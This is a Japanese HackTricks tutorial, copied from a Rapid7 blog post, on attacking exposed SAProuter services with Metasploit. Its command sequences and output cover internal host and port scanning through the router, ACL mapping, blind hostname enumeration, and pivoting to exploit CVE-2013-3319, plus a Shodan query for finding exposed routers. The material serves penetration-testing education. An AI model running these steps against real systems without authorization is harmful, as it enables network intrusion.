hacktricks/network-services-pentesting/3299-pentesting-saprouter.md

23 KiB
Raw Blame History

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

コピー元: https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/

PORT     STATE SERVICE    VERSION
3299/tcp open  saprouter?

Metasploitを使用したSAProuterの貫通

SAProuterは基本的にSAPシステムのためのリバースプロキシで、通常はインターネットと内部のSAPシステムの間に位置しています。その主な目的は、インターネット上のホストから内部のSAPシステムへの制御されたアクセスを可能にすることで、これにより、一般的なファイアウォールよりもSAPプロトコルをより細かく制御できます。

これは、saprouterが通常、組織のファイアウォール上でインバウンドTCPポート3299をsaprouterホストに許可することにより、インターネットに露出することを意味します。そして、saprouterからは、少なくとも内部のSAPサーバーに到達可能であるべきです。これにより、非常に興味深いターゲットとなります。なぜなら、これは「高価値」ネットワークへの入り口を提供する可能性があるからです。

以下の図は、例で使用する基本的なネットワーク設定を示しています:

まず、露出しているIPアドレス、この場合は1.2.3.101のSAPサービススキャンをsap_service_discoveryモジュールを使用して実行します。

msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_service_discovery) > run

[*] [SAP] Beginning service Discovery '1.2.3.101'

[+] 1.2.3.101:3299      - SAP Router OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

スキャンの結果、ホストが予想されるポートTCP 3299でSAPルーターを実行していることがわかります。これでさらに深く掘り下げ、saprouterから情報を取得しようと試みることができます。誤設定されていることが多く、その場合、saprouterを介して内部ホストに確立された接続などの内部情報を取得することが可能になるかもしれません。この目的のために、sap_router_info_requestモジュールを使用します:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
RHOSTS => 1.2.3.101
msf auxiliary(sap_router_info_request) > run

[+] 1.2.3.101:3299 - Connected to saprouter
[+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request
[+] 1.2.3.101:3299 - Got INFO response
[+] Working directory   : /opt/sap
[+] Routtab             : ./saprouttab

[SAP] SAProuter Connection Table for 1.2.3.101
===================================================

Source        Destination   Service
------        -----------   -------
1.2.3.12      192.168.1.18  3200


[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
出力から、インターネット上の誰か1.2.3.12が内部ホスト192.168.1.18にポート3200で接続していることがわかります。ポート3200は、SAP GUIアプリケーションがSAPサーバーに接続するためのDIAGプロトコル用の一般的なSAPポートです。また、内部IPアドレッシングスキームに関する情報も得られます。彼らは少なくとも192.168.1.0/24ネットワーク、またはそのネットワーク内のいくつかのサブネットを使用していることがかなり確実です。

**内部ホストとサービスの列挙**

この情報をもとに、内部ネットワークのスキャンを開始することができます。saprouterはプロキシのように機能するため、saprouterに接続して内部ホストとポートへの接続を要求し、saprouterからの返信を確認します。これにより、saprouterの設定に応じて、内部ホスト、サービス、およびACLに関するより詳細な洞察を得ることができるかもしれません。この目的のために[`sap_router_portscanner`](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)モジュールを使用します。

このモジュールはsaprouterに接続し、他のホストTARGETSオプションで定義されているへの特定のTCPポートでの接続を要求します。次に、返信を分析し、要求された接続が可能かどうかを判断します。このモジュールには使用できるいくつかのオプションがあります
Basic options:
Name         Current Setting  Required  Description
----         ---------------  --------  -----------
CONCURRENCY  10               yes       The number of concurrent ports to check per host
INSTANCES    00-99            no        SAP instance numbers to scan (NN in PORTS definition)
MODE         SAP_PROTO        yes       Connection Mode: SAP_PROTO or TCP  (accepted: SAP_PROTO, TCP)
PORTS        32NN             yes       Ports to scan (e.g. 3200-3299,5NN13)
RESOLVE      local            yes       Where to resolve TARGETS (accepted: remote, local)
RHOST                         yes       SAPRouter address
RPORT        3299             yes       SAPRouter TCP port
TARGETS                       yes       Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

最低限、saprouterのIPアドレスを設定する必要があります。例の場合は、1.2.3.101です。次に、スキャンしたい内部ネットワークアドレスをTARGETSに設定し、最後にスキャンするTCPポートをPORTSに設定します。

このモジュールには、PORTSオプションの定義を簡略化するためのINSTANCESオプションも提供されています。SAPインストールは複数のインスタンスをサポートしており、類似のサービスを提供しているため、各インスタンスにはTCPポートが割り当てられています。例えば、SAPインスタンス00はSAPディスパッチャーサービスSAP GUIが接続するがポート3200に、インスタンス01はポート3201にあります。PORTSオプションは「NN」という「ワイルドカード」をサポートしており、これはインスタンス番号に置き換えられるため、定義されたインスタンスのポートをすべてスキャンします。したがって、00から50までのインスタンスをスキャンしたい場合、INSTANCESとPORTS変数を次のように定義できます

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN

この設定では、モジュールは3200から3250の範囲のポートをスキャンします。

モジュールのソースには、スキャンに使用するSAPシステムの一般的なデフォルトポートに関する情報があります。

msf > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner
msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101
RHOST => 1.2.3.101
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18
TARGETS => 192.168.1.18
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host           Port   State   Info
----           ----   -----   ----
192.168.1.18   3201   closed  SAP Dispatcher sapdp01
192.168.1.18   3200   open    SAP Dispatcher sapdp00
192.168.1.18   50013  open    SAP StartService [SOAP] sapctrl00

[*] Auxiliary module execution completed

saprouterを使用している一部の接続が許可されない理由を理解するために、VERBOSEオプションを使用することができます。VERBOSEがtrueに設定されている場合、saprouterからの応答を見ることができ、定義されたACLをマッピングすることができます。

次に、192.168.1.18と192.168.1.1のホストをスキャンしますが、ポート3200のみで、両方のSAPディスパッチャーに接続できるかどうかを確認します

msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18
TARGETS => 192.168.1.1,192.168.1.18
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
PORTS => 32NN
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State   Info
----          ----  -----   ----
192.168.1.18  3200  open  SAP Dispatcher sapdp00

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[!] Warning: Service info could be inaccurate
[*] Auxiliary module execution completed

ACLのマッピング

saprouterについて興味深い点は、2種類の接続をサポートしていることです

  • ネイティブ これらは単純なTCP接続です
  • SAPプロトコル これらはひねりを加えたTCP接続で、プロトコルはすべてのメッセージが続く内容の長さを示す4バイトで始まると規定しています。

SAPプロトコルはsaprouterに特有のもので、SAP GUIがsaprouterを通じてSAP DIAGポートに接続する際に使用します。ネイティブプロトコルは、他の種類の接続がsaprouterを通過することを許可するために使用されます。

このモジュールでは、スキャン中にテストする接続の種類をMODEオプションで指定することができます。デフォルトはSAPプロトコルで、本番環境で使用される可能性が最も高いです。しかし、saprouterを通じて他のサービスが許可されていることも珍しくなく、ACLはネイティブTCP接続を通過させることがあります。

接続のこのタイプが許可されているかを評価するために、MODEをTCPに設定することができます。VERBOSEをtrueに設定し、インスタンス00と01の両方で、内部ホストをポート3200SAP DIAGと80HTTPでスキャンし、何が起こるか見てみましょう

msf auxiliary(sap_router_portscanner) > set MODE TCP
MODE => TCP

msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
PORTS => 80,32NN
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01
INSTANCES => 00-01
msf auxiliary(sap_router_portscanner) > run

[*] Scanning 192.168.1.18
[+] 192.168.1.18:80 - TCP OPEN
[-] 192.168.1.18:3200 - blocked by ACL
[+] 192.168.1.18:3201 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host          Port  State  Info
----          ----  -----  ----
192.168.1.18  80    open
192.168.1.18  3201  open   SAP Dispatcher sapdp01

[*] Scanning 192.168.1.1
[-] 192.168.1.1:3200 - blocked by ACL
[+] 192.168.1.1:3201 - TCP OPEN
[+] 192.168.1.1:80 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host         Port  State  Info
----         ----  -----  ----
192.168.1.1  3201  open   SAP Dispatcher sapdp01
192.168.1.1  80    open

[*] Auxiliary module execution completed
出力と先の情報から、ACLは以下のようなものであることがわかります

* 任意のホストから192.168.1.1へのTCP接続をポート80で許可
* 任意のホストから192.168.1.18へのTCP接続をポート80で許可
* 任意のホストから192.168.1.1へのTCP接続をポート3201で許可
* 任意のホストから192.168.1.18へのTCP接続をポート3201で許可
* 任意のホストから192.168.1.18へのSAP接続をポート3200で許可

**内部ホストのブラインド列挙**

思い出してください、私たちはsaprouterから情報を取得することから始め、内部ホストのIPアドレスを知り、そこから進めました。しかし、saprouterがその情報を提供しない場合はどうでしょうか

一つの選択肢は、プライベートアドレス空間をスキャンし始めて、何が起こるかを見ることです。もう一つは、ホスト名によってブラインドにホストを列挙することです。

Saproutersは、接続を要求されたホスト名を解決することができます。Saprouterはまた、接続に失敗したときのエラーを教えてくれる親切さも持っています実際の応答を見るには、モジュールソースの242行目のコメントを外してください。

この機能を使って、ホスト名によって内部ホストを列挙し、直接ゴールを目指すことができます!

これを行うには、RESOLVEオプションを「remote」に設定する必要があります。この場合、モジュールは定義されたTARGETSへの接続を要求しますが、ローカルで解決せずに、内部ホストを推測し、IPアドレスを一切知らずに接続を試みることができます。

ホストをブラインドに列挙する際に覚えておくべき重要なこと:

* VERBOSEをtrueに設定する
* MODEがSAP_PROTOに設定されている場合、saprouterからより多くの情報を得られます
* この時点で興味があるのはsaprouterから送られる情報だけなので、スキャンするポートは1つだけ設定すれば十分です3200を試してみてください
* 結果は設定されたACLによって異なります。残念ながらブロックされた接続はあまり情報を与えてくれません。

この例では、ホスト名sap、sapsrv、sapsrv2を試してみます。
msf auxiliary(sap_router_portscanner) > set RESOLVE remote
RESOLVE => remote
msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO
MODE => SAP_PROTO
msf auxiliary(sap_router_portscanner) > set VERBOSE true
VERBOSE => true
msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2
TARGETS => sap,sapsrv,sapsrv2
msf auxiliary(sap_router_portscanner) > set PORTS 3200
PORTS => 3200
msf auxiliary(sap_router_portscanner) > run

[*] Scanning sap
[-] sap:3200 - unknown host
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv
[-] sapsrv:3200 - host unreachable
[!] Warning: Service info could be inaccurate
[*] Scanning sapsrv2
[+] sapsrv2:3200 - TCP OPEN
[!] Warning: Service info could be inaccurate

Portscan Results
================

Host     Port  State  Info
----     ----  -----  ----
sapsrv2  3200  open   SAP Dispatcher sapdp00

[*] Auxiliary module execution completed

出力から、ホスト "sap" は存在しないが、sapsrv は存在するが到達不可能であり、sapsrv2 は存在し、ポート 3200 に接続できることがわかります。

この技術は、SAP 関連ではないネットワーク上の他のホストを見つけるためにも使用できます。smtp、exchange、pdc、bdc、fileshare、intranet などの一般的なホスト名を試してみるか、あなたのトリックの袋にある他の素敵なホスト名を使用してみてください。

最後の一里

これで、利用可能な内部ホスト、許可されているサービス、saprouter を突破するために使用できるプロトコルをすべて把握したので、実際に内部サーバーに接続し、ペネトレーションテストを進めることができます。

Metasploit は、Dave Hartley (@nmonkee) のおかげで、Proxies オプションを使用して saprouter をプロキシとして使用する素晴らしい方法を提供しています。

したがって、この時点で、私たちは発見した内部 sap サーバーに関する情報を収集し始めたいと思います。例として、ポート 1128 で SAP Host Control サービスに対して認証されていない SOAP リクエストを介してサーバーが実行している OS の詳細を提供する CVE-2013-3319 を悪用するモジュール sap_hostctrl_getcomputersystem を使用します。saprouter を介してピボットし、metasploit のプロキシサポートを使用します:

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
Proxies => sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
RHOSTS => 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run

[+] 192.168.1.18:1128 - Information retrieved successfully
[*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
うまくいけば、対象のSAPホストからの興味深い内部情報例えば、ブルートフォース攻撃を試みることができる内部ユーザー名などが含まれるlootのモジュールの素晴らしい出力が得られます。

ピボットはそしてすべきですSAPシステムだけでなく、内部ホストに対して他のモジュールを実行するために使用できます

**結論**

私たちは、インターネットから全ての内部ホストへのアクセスを許可する可能性のある弱いsaprouter設定を利用する方法を見てきました。これはすべて、metasploitのSAPシステムのpentestingサポートを使用してのみ行われます。

この記事がsaprouterの展開に関連するリスクと、一般的なSAPセキュリティの両方に光を当てるのに役立つことを願っています。

**参照資料**

* [http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/](http://labs.mwrinfosecurity.com/blog/2012/09/13/sap-smashing-internet-windows/)
* \[[http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nun ez Di Croce - SAProuter .pdf\]\([http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2](http://conference.hitb.org/hitbsecconf2010ams/materials/D2T2) - Mariano Nunez Di Croce - SAProuter .pdf\)
* [http://scn.sap.com/docs/DOC-17124](http://scn.sap.com/docs/DOC-17124)
* [http://help.sap.com/saphelp\_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/f rameset.htm](http://help.sap.com/saphelp_nw70/helpdata/EN/4f/992dfe446d11d189700000e8322d00/frameset.htm)
* [http://help.sap.com/saphelp\_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767 /content.htm](http://help.sap.com/saphelp_dimp50/helpdata/En/f8/bb960899d743378ccb8372215bb767/content.htm)
* [http://labs.integrity.pt/advisories/cve-2013-3319/](http://labs.integrity.pt/advisories/cve-2013-3319/)
* [SAP Service Discovery \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_service_discovery)
* [SAPRouter Admin Request \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_info_request)
* [CVE-2013-3319 SAP Host Agent Information Disclosure \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_hostctrl_getcomputersystem)
* [SAPRouter Port Scanner \| Rapid7](http://www.rapid7.com/db/modules/auxiliary/scanner/sap/sap_router_portscanner)

# Shodan

* `port:3299 !HTTP Network packet too big`



<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)でAWSのハッキングをゼロからヒーローまで学ぶ</strong></summary>

HackTricksをサポートする他の方法:

* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをチェックしてください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを共有してください。

</details>